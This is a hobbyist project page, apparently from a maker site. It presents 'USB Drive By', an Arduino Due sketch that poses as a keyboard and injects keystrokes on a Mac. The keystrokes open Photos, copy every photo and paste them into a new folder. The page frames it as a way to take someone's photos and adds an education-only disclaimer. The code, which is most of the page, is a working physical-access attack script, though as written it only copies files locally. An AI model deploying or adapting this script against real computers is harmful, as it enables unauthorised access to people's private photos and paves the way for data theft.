Vidit ShahUtkarsh Tiwari
Published © GPL3+

USB Drive By

The following project teaches you how to take away all Photos from one's Macintosh. This project is only for only education purpose.

IntermediateProtip1 hour676
USB Drive By

Things used in this project

Hardware components

Arduino Due
Arduino Due
We need to use Native port in Arduino Due
×1

Story

Read more

Code

arduino_key1.ino

Arduino
Note: while verifying change the board to Arduino Due(Native USB port)
#include <Keyboard.h>



void setup() {
  Keyboard.begin();
  delay(2000);
  //Open Search
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(32);
  delay(100);
  Keyboard.releaseAll();
  delay(100);
  //Type in Photos
  Keyboard.print("Photos");
  Keyboard.press(KEY_RETURN);
  delay(20000);
  //Select all photos
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('a');
  Keyboard.releaseAll();
  delay(100);
  //Copy all photos
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('c');
  Keyboard.releaseAll();
  delay(7000);
  //Quit The photos application window
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('q');
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press('n');
  Keyboard.releaseAll();
  delay(1000);
  //Creat a new folder on Desktop
  Keyboard.print("Folder1");
  Keyboard.write(KEY_RETURN);
  delay(100);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('o');
  Keyboard.releaseAll();
  Keyboard.write(KEY_RETURN);
  delay(1000);
  //Paste the photos in the new Folder
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('v');
  Keyboard.releaseAll();



}

void loop() {
}

Credits

Vidit Shah
10 projects • 39 followers
Programmer
Contact
Utkarsh Tiwari
10 projects • 40 followers
Trying to FIND myself! :P Interested in DIY's and coding!
Contact

Comments

Please log in or sign up to comment.